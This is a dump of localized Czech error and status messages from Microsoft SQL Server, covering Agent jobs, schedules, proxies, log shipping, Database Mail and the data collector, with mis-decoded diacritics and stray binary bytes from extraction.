pParametr distributora mus� b�t @heartbeat_interval.

�Zad�no neplatn� ID 
l�nku pro generov�n� skriptu procedury.

�Vlastn� ulo~en� procedura volaj�c� form�t pro pY�kaz %1!s! zadan� v definici 
l�nku se neshoduje s form�tem %2!s!.

�Nelze zmnit vlastnost %1!s! 
l�nku %2!s!, proto~e k nmu existuje odbr.

pReplikace-%1!s!: inicializace agenta selhala. %2!s!

LZadan� polo~ka %1!s! je neplatn�.

,Tato �loha m� minim�ln jedno ozn�men� pro oper�tory, kter� je jin� ne~ %1!s!. �lohu nelze c�lit na vzd�len� servery, jak je aktu�ln nastaveno.

LNelze pYejmenovat oper�tor %1!s!.

�Nelze upravit nebo odstranit oper�tor %1!s!, pokud je tento server %2!s!.

�Upozornn�: Nelze ur
it n�zev m�stn�ho po
�ta
e. Tato situace zabraHuje odesl�n� operac� hlavn�ho serveru.

|Zadejte hodnotu job_name, job_id nebo originating_server.

�Zadejte platnou hodnotu job_id (nebo hodnotu 0x00 pro vaechny �lohy).

�Zadan� hodnota %1!s! je neplatn� (platn� hodnoty jsou vr�ceny prostYednictv�m %2!s!).

�Zadan� hodnota %1!s! je neplatn� (platn� hodnoty jsou vta� ne~ 0, vyjma hodnoty %2!s!).

�Je-li zad�na akce REASSIGN, mus� b�t uveden tak� parametr nov�ho pYihlaaovac�ho jm�na.

�Pouze spr�vce syst�mu mo~e prov�st zmny v pYiYazen� vlastnictv� �lohy.

�Zadejte parametr @name, @id nebo @loginname �kolu, kter� chcete odstranit.

�Zadan� Yetzec %1!s! je pY�lia dlouh�. Nesm� obsahovat v�ce ne~ %2!s! znako.

xNelze zadat %1!s! jako oper�tor pro pY�jem upozornn�.

xTuto akci nelze prov�st pro �lohu, kterou nevlastn�te.

�Vlastn�k (%1!s!) t�to �lohy m� bu neplatn� pYihlaaovac� jm�no, nebo nen� platn�m u~ivatelem datab�ze %2!s!.

4Nelze spustit �lohu %1!s! (ID %2!s!), proto~e pro ni nebyl definov�n server �loh. PYidru~te �lohu k serveru �loh vol�n�m procedury sp_add_jobserver.

4Nelze zastavit �lohu %1!s! (ID %2!s!), proto~e pro ni nebyl definov�n server �loh. PYidru~te �lohu k serveru �loh vol�n�m procedury sp_add_jobserver.

�Nelze prov�st tuto operaci, pokud se spouat� SQLServerAgent. Opakujte akci pozdji.

�Nem�te dostate
n� opr�vnn� ke spuatn� tohoto pY�kazu. Obraete se na spr�vce syst�mu.

`Zadan� polo~ka %1!s! (%2!s!) ji~ existuje.

\Zadan� polo~ka %1!s! (%2!s!) neexistuje.

lC�lov� server %1!s! je ji~ 
lenem skupiny %2!s!.

hC�lov� server %1!s! nen� 
lenem skupiny %2!s!.

,Slu~ba MSSQLServer byla neo
ek�van ukon
ena. Vyhledejte mo~n� pY�
iny v protokolu chyb syst�mu SQL Server a v protokolu chyb opera
n�ho syst�mu.

�Zadan� hodnota %1!s! je neplatn� (platn� hodnoty jsou: %2!s!).

lTuto �lohu nelze pYidat do kategorie �loh %1!s!.

�Na tomto serveru nejsou ~�dn� �lohy, kter� poch�zej� ze serveru %1!s!.

`�loha %1!s! je ji~ c�len� na server %2!s!.

l�loha %1!s! nen� aktu�ln c�len� na server %2!s!.

TC�lov� server nelze pojmenovat %1!s!.

|Typ objektu a n�zev objektu nutno zadat jako p�rov� �daj.

 Je potYeba poskytnout bu parametr @job_id, @job_name (voliteln lze tak� poskytnout parametr @schedule_name), nebo parametr @schedule_id.

�Nelze pYidat, aktualizovat nebo odstranit �lohu (nebo jej� kroky 
i pl�ny), kter� poch�z� z hlavn�ho serveru.

�V�choz� server mus� b�t bu m�stn� server, nebo hlavn� server.

�Polo~ka %1!s! pYedstavuje trvalou kategorii %2!s! a nelze ji odstranit.

�PY�kazov� skript nezni
� vaechny objekty, kter� vytvoYil. Opravte pY�kazov� skript.

lPl�nov�n� t�to �lohy je neplatn� (dovod: %1!s!).

�Zadejte parametr @job_name, @job_id nebo @originating_server.

�Zadejte n�zev a aspekt �lohy, nebo jeden 
i v�ce parametro filtru �loh.

Zadejte bu datum (vytvoYen� nebo posledn� zmny) a kompar�tor dat, nebo nezad�vejte vobec ~�dn� parametry ve form�tu data.

�Zadejte parametr @target_server_groups nebo @target_servers nebo oba parametry.

|Nelze zadat ID nov� �lohy. ID bude pYidleno procedurou.

�Nelze pYidat m�stn� �lohu do kategorie v�ceserverov�ch �loh.

�Nelze pYidat v�ceserverovou �lohu do kategorie m�stn�ch �loh.

lZadan� polo~ka %1!s! m� neplatnou hodnotu %2!s!.

hPolo~ka %1!s! nemo~e pYedch�zet polo~ce %2!s!.

`Polo~ka %1!s! nemo~e obsahovat znaky %2!s!.

�Tato �loha je aktu�ln c�len� na m�stn� server, tud�~ ji nelze c�lit tak� na vzd�len� server.

�Tato �loha je aktu�ln c�len� na vzd�len� server, tud�~ ji nelze c�lit tak� na m�stn� server.

�Existuje v�ce �kolo s n�zvem %1!s!. Identifikujte jednozna
n �kol zad�n�m parametru %2!s! nam�sto parametru %3!s!.

�Existuje v�ce �loh s n�zvem %1!s!. Identifikujte jednozna
n �lohu zad�n�m parametru %2!s! nam�sto parametru %3!s!.

�Identifikujte �lohu zad�n�m bu parametru %1!s!, nebo parametru %2!s!.

pFrekvence typu 0x2 (OnDemand) ji~ nen� podporov�na.

xTento server je ji~ zaYazen do hlavn�ho serveru %1!s!.

PNelze zaYadit do m�stn�ho po
�ta
e.

xTento server nen� aktu�ln zaYazen do hlavn�ho serveru.

�Server %1!s! je hlavn� server. Nelze zaYadit jeden hlavn� server do jin�ho hlavn�ho serveru.

�PYihlaaovac� jm�na jin�ch u~ivatelo, ne~ je aktu�ln� u~ivatel, mohou vidt pouze 
lenov� role sysadmin.

\Sloupec %1!s! v tabulce %2!s! neexistuje.

�Tato verze c�lov�ho serveru (TSX) nen� kompatibiln� s verz� (%1!s!.%2!s!.%3!s!) hlavn�ho serveru (MSX).

|PY�stup k bal�
ku integra
n�ch slu~eb %1!s! byl odepYen.

�Nelze inicializovat knihovnu COM, proto~e doalo k chyb funkce CoInitialize.

�Nelze dokon
it tuto operaci, proto~e doalo k neo
ek�van� chyb.

�Nelze ur
it �
et slu~by pro tuto instanci syst�mu SQL Server.

0Nelze zobrazit n�zev %1!s! slu~by Active Directory, proto~e je pY�lia dlouh�. B~n� n�zvy slu~by Active Directory nesm� pYes�hnout d�lku 64 znako.

�Po
�ta
 %1!s! je ji~ nakonfigurov�n jako c�lov� server TSX.

�Hlavn� server mus� pou~�vat edici Standard nebo Enterprise syst�mu SQL Server.

Hlavn� server nen� pYipraven pro zaYazen� (mus� existovat oper�tor s n�zvem MSXOperator, kter� je definovan� na hlavn�m serveru).

TC�lov� server nen� aktu�ln zaYazen.

TZadejte platn� parametr schedule_uid.

|Pouze 
lenov� role sysadmin mohou zmnit vlastn�ka pl�nu.

PNedoalo k odstrann� minim�ln jednoho pl�nu, proto~e jej pou~�v� jeat minim�ln jedna dala� �loha. Odeberte pl�ny z �lohy pou~it�m procedury sp_detach_schedule.

<Pl�n %1!s! nebyl odstrann, proto~e jej pou~�v� jeat nejm�n jedna dala� �loha. K odebr�n� pl�no z �lohy pou~ijte ulo~enou proceduru sp_detach_schedule.

�V�ce �loh pou~�v� ID pl�nu %1!s!. Zadejte parametr job_id.

PPro �lohy hlavn�ho serveru spouatn� na c�lov�m serveru (TSX) mus� b�t parametr @originating_server bu n�zev m�stn�ho serveru, nebo n�zev hlavn�ho serveru (MSX).

�Existuje v�ce pl�no s n�zvem %1!s!. Ur
ete jednozna
n pl�n zad�n�m parametru %2!s! nam�sto parametru %3!s!.

�Pl�n nebyl odstrann, proto~e jej pou~�v� jeat nejm�n jedna dala� �loha.

�Ur
ete pl�n zad�n�m parametru %1!s!, nebo parametru %2!s!.

xZadan� n�zev %1!s! pl�nu nen� pYidru~en k �loze %2!s!.

�K �loze %2!s! je pYipojeno v�ce pl�no s n�zvem %1!s!. Aktualizujte pl�ny pou~it�m procedury sp_update_schedule.

�K �loze %2!s! je pYipojeno v�ce pl�no s n�zvem %1!s!. Odeberte pl�ny z �lohy pou~it�m procedury sp_detach_schedule.

�Pl�n nebyl pYipojen k zadan� �loze. Volaj�c� mus� b�t vlastn�kem �lohy nebo mus� b�t operace provedena spr�vcem syst�mu.

�PY�znak @sysadmin_only ji~ nen� podporov�n agentem SQLAgent a je zde uchov�v�n pouze pro �
ely zptn� kompatibility.

Ciz� kl�
 originating_server_id tabulky %1!s! nem� odpov�daj�c� hodnotu v odkazovan�m zobrazen� dbo.sysoriginatingservers_view.

�Na pole originating_server_id v tabulce sysoriginatingservers odkazuje bu tabulka sysjobs, nebo tabulka sysschedules.

xPouze 
lenov� role sysadmin mohou zadat parametr %1!s!.

�Pouze vlastn�k �lohy nebo 
lenov� role sysadmin mohou odpojovat pl�ny.

�Pouze vlastn�k �lohy, 
lenov� role sysadmin nebo role SQLAgentOperatorRole mohou vypr�zdnit historii �lohy.

�Pouze vlastn�k �lohy, 
lenov� role sysadmin nebo role SQLAgentOperatorRole mohou spustit nebo zastavit tuto �lohu.

�Pouze vlastn�k pl�nu �lohy nebo 
lenov� role sysadmin mohou upravit nebo odstranit tento pl�n �lohy.

|U~ivatel %1!s! je 
lenem role serveru sysadmin a nelze mu udlit nebo odvolat pr�va na �rovni proxy serveru. lenov� role serveru sysadmin maj� povoleno pou~�vat jak�koli proxy server.

�Pouze 
lenov� role serveru sysadmin mohou mnit v�ceserverov� �lohy.

�Pouze 
lenov� role serveru sysadmin mohou spustit nebo zastavit v�ceserverov� �lohy.

�Pouze 
lenov� role serveru sysadmin mohou vytv�Yet v�ceserverov� �lohy.

�Aktu�ln� hodnota proxy_id %1!s! a nov� hodnota proxy_id %2!s! nemohou b�t stejn�.

Server proxy %1!s! nem� pY�stup k podsyst�mu %2!s!. Udlte opr�vnn� tomuto proxy serveru pomoc� procedury sp_grant_proxy_to_subsystem.

|Je nutn� zadat parametr plan_name nebo parametr plan_id.

xTento pl�n nelze odstranit. Obsahuje zaYazen� datab�ze.

�C�lov� datab�ze je ji~ sou
�st� pl�nu pYesouv�n� protokolu.

TTato datab�ze ji~ pYesouv� protokol.

hMonitor pYesouv�n� protokolu byl ji~ definov�n.

�PYi pou~it� ovYov�n� syst�mu SQL Server nesm� m�t u~ivatelsk� jm�no hodnotu NULL.

|Tato ulo~en� procedura mus� b�t spuatna v datab�zi msdb.

�Nelze odstranit monitorovac� server, pokud se datab�ze pod�l� na pYesouv�n� protokolu.

�Zadan� parametr @backup_file_name nebyl vytvoYen z datab�ze %1!s!.

xZadan� argument @backup_file_name nen� z�loha datab�ze.

�Prim�rn� datab�ze pYesouv�n� protokolu %1!s!.%2!s! m� mezn� hodnotu pro z�lohov�n� %3!s! min. a neprovedla operaci protokolu z�lohov�n� %4!s! min. Zkontrolujte protokol agenta a informace monitoru pYesouv�n� protokolu.

Sekund�rn� datab�ze pYesouv�n� protokolu %1!s!.%2!s! m� mezn� hodnotu pro obnoven� %3!s! min. a nen� synchronizovan�. Nedoalo k obnoven� po dobu %4!s! min. Latence obnoven� je %5!s! min. Zkontrolujte protokol agenta a informace monitoru pYesouv�n� protokolu.

|Zadejte bu parametr @plan_id, nebo parametr @plan_name.

�Jin� datab�ze jsou zaYazeny do tohoto pl�nu a mus� b�t odebr�ny, ne~ bude mo~n� pl�n odstranit.

tDatab�ze %1!s! ji~ zahrnuta do pYesouv�n� protokolu.

�Datab�ze %1!s! zYejm nen� zahrnuta do pYesouv�n� protokolu.

Monitor pYesouv�n� protokolu byl ji~ ur
en. Volejte proceduru sp_define_log_shipping_monitor, kde parametr @delete_existing = 1.

�U~ivatelsk� jm�no je potYebn� pro zabezpe
en� syst�mu SQL Server.

�Nelze odebrat monitor, proto~e st�le existuj� datab�ze, kter� jsou zahrnuty do pYesouv�n� protokolu.

�St�le existuj� sekund�rn� servery pYipojen� k tomuto prim�rn�mu serveru.

�C�lov� cesta %1!s! nen� platn�. Nelze zobrazit obsah adres�Ye. Zadejte platnou c�lovou cestu.

XNelze nastavit jednou~ivatelsk� re~im.

<Zmna role byla �span�.

<Zmna role se nezdaYila.

�Zadan� parametr @backup_file_name nebyl pYevzat z datab�ze %1!s!.

xZadan� argument @backup_file_name nen� z�loha datab�ze.

lZadejte bu nenulov� ID zpr�vy, nenulovou z�va~nost, v�konovou podm�nku jinou ne~ null, nebo obor n�zvo jin� ne~ null a dotaz rozhran� Windows Management Instrumentation (WMI).

xV�straha (%1!s!) pro tuto podm�nku byla ji~ definov�na.

�PYi zad�n� hodnoty TARGET parametru @enum_type je nutn� zadat parametr @target_name.

�PYi zad�n� hodnoty ALL nebo ACTUAL parametru @enum_type nezad�vejte parametr @target_name.

$Oper�tor %1!s! je pohotovostn�m oper�torem. Je potYeba ur
it jin�ho pohotovostn�ho oper�tora, ne~ bude moci doj�t k vyYazen� oper�tora %2!s!.

�PYi zad�v�n� v�konov� podm�nky zadejte polo~ku %1!s! s hodnotou NULL.

dNelze nastavit v�strahy pro ID zpr�vy %1!s!.

V�konovou podm�nku je potYeba form�tovat jako: object_name|counter_name|instance_name|comparator(> nebo < nebo =)|numeric value.

pZadejte oba parametry: @wmi_namespace a @wmi_query.

�PYi zad�v�n� parametru @wmi_namespace zadejte platnou hodnotu polo~ky %1!s!.

�PYi zad�v�n� parametru @wmi_namespace zadejte polo~ku %1!s! s hodnotou NULL.

xDotaz @wmi_query nemohl b�t spuatn pro zadanou hodnotu parametru @wmi_namespace. OvYte, zda v oboru n�zvo existuje tY�da ud�lost� vybran� pro dotaz a zda m� dotaz spr�vnou syntaxi.

�PYi zad�v�n� parametru @wmi_query zadejte platnou polo~ku %1!s!.

�Pouze 
lenov� role serveru sysadmin mohou pYidat �lohy jin�mu vlastn�kovi pou~it�m parametru @owner_login_name.

hProxy server (%1!s!) nen� povolen pro subsyst�m %2!s! a u~ivatele %3!s!. Udlte opr�vnn� vol�n�m procedury sp_grant_proxy_to_subsystem nebo procedury sp_grant_login_to_proxy.

pProxy �
et nen� povolen pro subsyst�m Transact-SQL.

TNelze odstranit proxy server (%1!s!). Je pou~�v�n pro minim�ln jeden krok �lohy. ZmHte tento proxy server pro vaechny kroky �lohy vol�n�m funkce sp_reassign_proxy.

�Zadejte pouze jeden z parametro @login_name, @fixed_server_role a @msdb_role.

<%1!s! nen� platn� pYihl�aen� standardu SQL Server, platn� u~ivatel syst�mu Windows NT, platn� skupina syst�mu Windows NT ani platn� datab�zov� role msdb.

%1!s! nen� platn� pevn� role serveru SQL Server, platn� u~ivatel syst�mu Windows NT ani platn� skupina syst�mu Windows NT.

�%1!s! nen� platn� datab�zov� role msdb, platn� u~ivatel syst�mu Windows NT ani platn� skupina syst�mu Windows NT.

�U~ivateli %1!s! nebylo udleno opr�vnn� pou~�vat proxy server %2!s!.

hZadejte bu hodnotu %1!s!, nebo hodnotu %2!s!.

�Pouze 
lenov� role sysadmin maj� povoleno aktualizovat nebo odstraHovat �lohy patY�c� jin�mu vlastn�kovi.

�Zadan� kategorie %1!s! neexistuje ve tY�d kategorie %2!s!.

��lohu %1!s! nelze pou~�t jako v�strahu. NejdY�v je nutn� �lohu pYidru~it k serveru vol�n�m procedury sp_add_jobserver.

hNejsou definov�ny ~�dn� kroky pro �lohu %1!s!.

�Proxy server %1!s! nen� platn� u~ivatel syst�mu Windows user.

�Subsyst�m Transact-SQL nelze spustit v kontextu proxy �
tu.

�Opr�vnn� pY�stupu na proxy server ji~ bylo udleno. OvYte aktu�ln� pYiYazen� opr�vnn�.

�Zadejte bu ob hodnoty %1!s! a %2!s!, nebo ~�dnou z nich.

�Pou~ijte bu proxy server, nebo parametry user_domain, user_name nebo user_password.

�Je nutn� definovat vaechny parametry: user_domain, user_name i user_password.

�Parametry user_domain, user_name a user_password lze zadat jen pro subsyst�my replikace.

xPouze 
lenov� role sysadmin mohou zadat parametr %1!s!.

Spuatn� v kontextu zak�zan�ho proxy serveru (kde parametr proxy_id = %1!s!) nen� povoleno. Obraete se na spr�vce syst�mu.

�Pouze edice Standard nebo Enterprise syst�mu SQL Server mohou b�t zaYazeny do hlavn�ho serveru.

�Pouze SQL Server pou~�van� syst�mem Microsoft Windows NT mo~e b�t zaYazen do hlavn�ho serveru.

0Verze hlavn�ho serveru (%1!s!) nen� dostate
n nov�, aby podporovala tento c�lov� server. Pro hlavn� server je po~adov�na verze %2!s! nebo novja�.

�Hodnota %1!s! jin� ne~ null jak�hokoli kroku jazyka TSQL v�ceserverov� �lohy je neplatn�.

4PYihlaaovac�mu jm�nu %1!s! patY� vlastnictv� minim�ln jedn� v�ceserverov� �lohy. Vlastnictv� tchto �loh mo~e b�t pYiYazeno pouze 
lenom role %2!s!.

�Tato �loha je vlastnna u~ivatelem %1!s!. Pouze �loha patY�c� 
lenu role %2!s! mo~e b�t v�ceserverov�.

tParametr %1!s! nen� platn� pro krok typu %2!s! �lohy.

�Parametr %1!s! nen� podporov�n platformami syst�mu Windows 95/98.

�Pouze spr�vce syst�mu mo~e zadat parametr @output_file_name pro krok �lohy.

�Pouze spr�vce syst�mu mo~e zadat parametr @database_user_name.

�Pouze vlastn�k bal�
ku slu~by DTS %1!s! nebo 
len role sysadmin sm� prov�st zmny v pYiYazen� vlastnictv� bal�
ku.

�Pouze vlastn�k bal�
ku slu~by DTS %1!s! nebo 
len role sysadmin sm� vytv�Yet nov� verze bal�
ku.

�Pouze vlastn�k bal�
ku slu~by DTS %1!s! nebo 
len role sysadmin sm� vyYadit bal�
ek nebo jeho verzi.

�Bal�
ek slu~by DTS %1!s! ji~ existuje pod jin�m ID v t�to kategorii.

�Slo~ka %1!s! slu~by SSIS ji~ existuje v zadan� nadYazen� slo~ce.

 Kategorie %1!s! slu~by DTS byla nalezena v nkolika nadYazen�ch kategori�ch. Je potYeba jednozna
n zadat kategorii, kterou chcete vyYadit.

�Slo~ka %1!s! slu~by SSIS obsahuje bal�
ky nebo jin� slo~ky. NejdY�ve je mus�te vyYadit.

�Bal�
ek %1!s! slu~by DTS existuje v jin�ch kategori�ch. Je potYeba jednozna
n zadat bal�
ek.

pBal�
ek %1!s! slu~by DTS existuje v jin� kategorii.

�ID bal�
ku %1!s! slu~by DTS ji~ existuje pod jin�m n�zvem.

�Nelze vyYadit tyto kategorie slu~by DTS: Local, Repository a LocalDefault.

�Proxy serveru %1!s! nebylo udleno opr�vnn� pou~�vat subsyst�m %2!s!.

�Oper�tor %1!s! nen� povolen, a proto nemo~e pYij�mat ozn�men�.

hOper�tor %1!s! nem� zadanou e-mailovou adresu.

hDatab�zov� poata nen� spr�vn nakonfigurov�na.

�Ani jeden z parametro objektu %1!s! (ID a n�zev) nesm� m�t hodnotu NULL.

�Tyto dva parametry objektu %1!s! (ID a n�zev) neukazuj� na shodn� objekt.

DID objektu %1!s! nen� platn�.

LN�zev objektu %1!s! nen� platn�.

xMus� b�t zad�n bu parametr %1!s!, nebo parametr %2!s!.

�Neexistuje pYidru~en� poaty datab�ze k u~ivatelsk� datab�zi, a proto nemo~e b�t aktualizov�no.

�Pro aktualizaci je potYeba zadat bu parametr @profile_name, nebo parametr @description.

tPro aktualizaci je potYeba zadat 
�slo sekvence �
tu.

�Ka~d� objekt zabezpe
en� m� m�t alespoH jeden v�choz� profil.

V zadan� hodnot %1!s! nelze k oddlen� adres pou~�t 
�rky (,). '%2!s!'. Chcete-li pokra
ovat, oddlte adresy pomoc� stYedn�ko (;).

xHodnota %1!s! nen� platn� pro parametr mailserver_type.

�Pokud je zad�n parametr @password, je nutn� zadat parametr @username.

�Nelze na
�st nov vytvoYen� povYen� (%1!s!) z �lo~iat povYen�.

hZadan� hostitelsk� datab�ze poaty je neplatn�.

�Parametr %1!s! mus� b�t zad�n. Tento parametr nemo~e m�t hodnotu NULL.

�Byla zjiatna chyba konverzace slu~by Service Broker s Datab�zovou poatou. Datab�zov� poata je pravdpodobn nedostupn�, nebo v n� doalo k chyb. Zkontrolujte protokol chyb Datab�zov� poaty.

�Konverzace slu~by Service Broker s Datab�zovou poatou skon
ila bez odezvy Datab�zov� poaty. Datab�zov� poata je pravdpodobn nedostupn�, nebo v n� doalo k chyb. Zkontrolujte protokol chyb Datab�zov� poaty.

�Parametr @attachmentencoding nepodporuje hodnotu %1!s!. K�dov�n� pY�lohy mus� b�t MIME.

�Parametr @importance nepodporuje hodnotu %1!s!. Dole~itost poaty mus� m�t hodnotu LOW, NORMAL nebo HIGH.

Parametr @sensitivity nepodporuje hodnotu %1!s!. Citlivost poaty mus� m�t hodnotu NORMAL, PERSONAL, PRIVATE nebo CONFIDENTIAL.

�Mus� b�t zad�n minim�ln jeden z n�sleduj�c�ch parametro: %1!s!.

tHodnota parametru @attach_query_result_as_file nemo~e b�t 1 (true), nen�-li zad�na pro parametr @query ~�dn� hodnota. Aby bylo mo~no pYipojit v�sledky dotazu, mus� b�t dotaz zad�n.

�Parametr @mailformat nepodporuje hodnotu %1!s!. Form�t poaty mus� b�t TEXT nebo HTML.

�Byla pYijata chyba %1!s! pYi odes�l�n� zpr�vy jako sou
�sti operace %2!s!. Datab�zov� poata je pravdpodobn nedostupn�, nebo v n� doalo k chyb. Zkontrolujte protokol chyb Datab�zov� poaty.

�Form�t parametru @attachments je nespr�vn�. N�zvy souboro mus� b�t oddleny stYedn�kem (;).

�Neexistuje parametr konfigurace s n�zvem %1!s!, nebo zadan� hodnota nen� spr�vn�ho datov�ho typu.

�Datab�zov� poata nen� opr�vnna odes�lat soubory s pY�ponou %1!s!.

XAktu�ln� u~ivatel (%1!s!) nem� opr�vnn� pro pY�stup k datab�zi zadan� v parametru @execute_query_database nebo nedok�~e zosobnit u~ivatele zadan�ho v parametru @execute_query_as. Zosobnit jin�ho u~ivatele mohou pouze 
lenov� pevn� role serveru sysadmin a 
lenov� pevn� datab�zov� role db_owner.

�Jm�no u~ivatele %1!s! zadan� v parametru @execute_query_as je neplatn�. U~ivatel s takov�m jm�nem neexistuje.

�N�zev datab�ze %1!s! zadan� v parametru @execute_query_database je neplatn�. Datab�ze s takov�m n�zvem neexistuje.

�Nen� nakonfigurovan� ~�dn� glob�ln� profil. Zadejte n�zev profilu v parametru @profile_name.

Poata nebyla zaYazena do fronty. Datab�zov� poata je zastaven. Ke spuatn� Datab�zov� poaty pou~ijte proceduru sysmail_start_sp.

�Nelze testovat profil. Datab�zov� e-mail je zastaven. Ke spuatn� Datab�zov� poaty pou~ijte proceduru sysmail_start_sp.

8Doru
ov�n� zpr�v slu~by Service Broker nen� v t�to datab�zi povoleno. Pou~ijte pY�kaz ALTER DATABASE k povolen� doru
ov�n� zpr�v slu~by Service Broker.

hNelze testovat profil. Doru
ov�n� zpr�v slu~by Service Broker nen� v t�to datab�zi povoleno. Pou~ijte pY�kaz ALTER DATABASE k povolen� doru
ov�n� zpr�v slu~by Service Broker.

<V popisova
i ExternalMailQueue. conversation_handle byla pYijata neplatn� zpr�va: %1!s!, n�zev typu zpr�vy message_type_name: %2!s!, tlo zpr�vy: %3!s!.

HV popisova
i ExternalMailQueue. conversation_handle byla pYijata neplatn� hodnota %1!s!: %2!s!, n�zev typu zpr�vy message_type_name: %3!s!, tlo zpr�vy: %4!s!.

LV popisova
i ExternalMailQueue. conversation_handle byl pYijat neplatn� form�t zpr�vy XML: %1!s!, n�zev typu zpr�vy message_type_name: %2!s!, tlo zpr�vy: %3!s!.

�Poata nebyla zaYazena do fronty. Maxim�ln� po
et e-mailo denn (%1!s!) pro pYihl�aen� %2!s! byl pYekro
en.

�NepodaYilo se na
�st cestu SQLPath pro naplHov�n� tabulky syssubsystems.

�NepodaYilo se na
�st adres�Y VerSpecificRootDir pro naplHov�n� tabulky syssubsystems.

��roveH kompatibility datab�ze je pY�lia n�zk�. �roveH kompatibility mus� b�t Version80 nebo vyaa�.

TProv�dn� dotazu se nezdaYilo: %1!s!

��roveH protokolov�n� Datab�zov� poaty: norm�ln�   1, roza�Yen�   2 (v�choz�), podrobn�   3

�Jm�no u~ivatele nelze pYi pou~it� v�choz�ch povYen� zadat.

�ID poaty %1!s! bylo odstranno z tabulky sysmail_mailitems. Tato poata nebude odesl�na.

dOdstrann� profilu %1!s! se nezdaYilo, proto~e existuje nkolik neodeslan�ch e-mailo, kter� jsou k nmu pYidru~eny. Pou~ijte mo~nost force_delete k vynucen� jeho odstrann�.

�Nelze odstranit aktivn� sadu kolekce %1!s!. Zastavte sadu kolekce a potom se ji pokuste odstranit znovu.

\Nelze aktualizovat n�zev nebo parametry polo~ky kolekce %1!s! v aktivn� sad kolekce %2!s!. Zastavte sadu kolekce a potom se pokuste aktualizovat polo~ku kolekce znovu.

$Nelze odstranit polo~ku kolekce %1!s! v aktivn� sad kolekce %2!s!. Zastavte sadu kolekce a potom se pokuste odstranit polo~ku kolekce znovu.

,Nelze odstranit typ kolektoru %1!s!. OdstraHte vaechny polo~ky kolekce pYidru~en� k tomuto typu kolektoru a potom se ho pokuste odstranit znovu.

�Nelze odeslat data pro neaktivn� sadu kolekce %1!s!. Spusete sadu kolekce a potom se pokuste odeslat data znovu.

�Nelze aktualizovat n�zev, c�l, hodnotu proxy_id, logging_level nebo collection_mode, nebo pYidat polo~ku kolekce k aktivn� sad kolekce %1!s!. Zastavte sadu kolekce a potom se pokuste o aktualizaci znovu.

�U~ivatel nem� opr�vnn� ke zmn pro: %1!s!. U~ivatel mus� b�t 
lenem role kolektor dat %2!s!.

�U~ivatel nem� opr�vnn� k proveden� t�to operace. U~ivatel mus� b�t 
lenem role kolektor dat %1!s!.

LTrasov�n� syst�mu SQL Server s ID %1!s! bylo zastaveno a ukon
eno extern�m u~ivatelem. Kolektor trasov�n� syst�mu SQL Server se pokus� trasov�n� znovu vytvoYit.

�Zadan� �daj %1!s! (%2!s!) nen� v tomto datov�m skladu platn�.

�Datab�zi spr�vn�ho datov�ho skladu lze nainstalovat pouze na instanci syst�mu SQL Server 2008 a vyaa�.

�Tuto proceduru nelze prov�st, kdy~ je kolektor zak�z�n. Povolte kolektor a opakuje akci.

�Stav sady kolekce se zmnil, ale ke spuatn� 
i zastaven� nedojde, dokud nebude kolektor povolen.

hSada kolekce v re~imu mezipamti vy~aduje pl�n.

�Doalo k chyb 
�slo: %1!s!, �roveH: %2!s!, stav: %3!s!, v proceduYe: %4!s!, Y�dek: %5!s! se zpr�vou: %6!s!

�Sada kolekce: %1!s! neobsahuje ~�dn� polo~ky kolekce, tak~e spuatn� sady kolekce nebude m�t ~�dn� �
inek.

�Parametry MDWInstance a MDWDatabase �lo~iat konfigurace nemohou m�t hodnotu null.

DNeplatn� hodnota (%1!s!) parametru @cache_window. Jsou povoleny n�sleduj�c� hodnoty: -1 (v mezipamti ukl�dat veaker� odes�lan� data z pYedchoz�ch chyb odes�l�n�), 0 (v mezipamti neukl�dat ~�dn� odes�lan� data), N (v mezipamti ukl�dat data z N pYedchoz�ch chyb odes�l�n�, kde N >= 1)

�Sadu kolekce nelze spustit, je-li zastaven agent syst�mu SQL Server. Spusete agenta syst�mu SQL Server.

HSadu kolekce nelze spustit, nen�-li nakonfigurov�n spr�vn� datov� sklad. Chcete-li vytvoYit a nakonfigurovat spr�vn� datov� sklad, spusete skript instmdw.sql.

�Tuto proceduru nelze prov�st, kdy~ je kolektor povolen. Zaka~te kolektor a opakuje akci.

�Stav kolektoru nemo~e m�t hodnotu null. To mo~e signalizovat intern� poakozen� v datech konfigurace kolektoru.

�Nedostate
n� opr�vnn� ke spuatn� sady kolekce: %1!s!. Pouze 
len pevn� role serveru sysadmin mo~e spustit sadu kolekce bez proxy agenta syst�mu SQL Server. PYed opakov�n�m akce pYipojte k sad kolekce proxy agenta syst�mu SQL Server.

�Sadu kolekce nelze spustit bez pl�nu. Zadejte pl�n pro sadu kolekce.

�Data pro sadu kolekc� %1!s! nelze v re~imu bez mezipamti odeslat na vy~�d�n�.

�Data pro sadu kolekc� %1!s! nelze v re~imu s mezipamt� shrom�~dit na vy~�d�n�.

� Syst�movou sadu kolekce nelze aktualizovat nebo odstranit, nebo k n� pYidat nov� polo~ky kolekce.

�Prov�dc� pl�n nelze pYev�st na form�t XML. Chyba 
. %1!s! na Y�dku %2!s!: %3!s!

�Kolektor dat nelze povolit, je-li zastaven agent syst�mu SQL Server. Spusete agenta syst�mu SQL Server.

dInstalovat a upgradovat skript instmdw.sql mo~e pouze vlastn�k datab�ze a 
lenov� role dc_admin. Chcete-li prov�st tuto operaci, po~�dejte spr�vce s dostate
n�m opr�vnn�m.

�Spr�vn� datov� sklad nelze nainstalovat do syst�mu SQL Server Express Edition.

�Pokus o upgrade spr�vn�ho datov�ho skladu novja� verze %1!s! pomoc� stara� verze %2!s!. Upgrade byl pYeruaen.

�U~ivateli %1!s! nebylo udleno opr�vnn� pou~�vat proxy server.

�Operace se nezdaYila, proto~e povYen� identity %1!s! nen� platn�m �
tem syst�mu Windows.

LV�ce definic� REMOTE_DATA_ARCHIVE

REMOTE_DATA_ARCHIVE nejde zak�zat, proto~e datab�ze obsahuje minim�ln jednu tabulku s povolenou mo~nost� REMOTE_DATA_ARCHIVE.

Nen� mo~n� zmnit mo~nost REMOTE_DATA_ARCHIVE pro tabulku %1!s!, proto~e mo~nost REMOTE_DATA_ARCHIVE nen� pro datab�zi povolen�.

�Datab�zov� pYihlaaovac� �daje %1!s! se nenaaly nebo u~ivatel nem� opr�vnn� pro pY�stup k pYihlaaovac�m �dajom.

LIdentita zadan� pro pYihlaaovac� �daje datab�ze %1!s! je neplatn�. Identitou mus� b�t platn� u~ivatelsk� jm�no spr�vce vzd�len�ho serveru pro rozta~en� datab�ze.

,Tajn� k�d zadan� pro pYihlaaovac� �daje datab�ze %1!s! je neplatn�. Tajn�m k�dem mus� b�t platn� heslo spr�vce vzd�len�ho serveru pro rozta~en�.

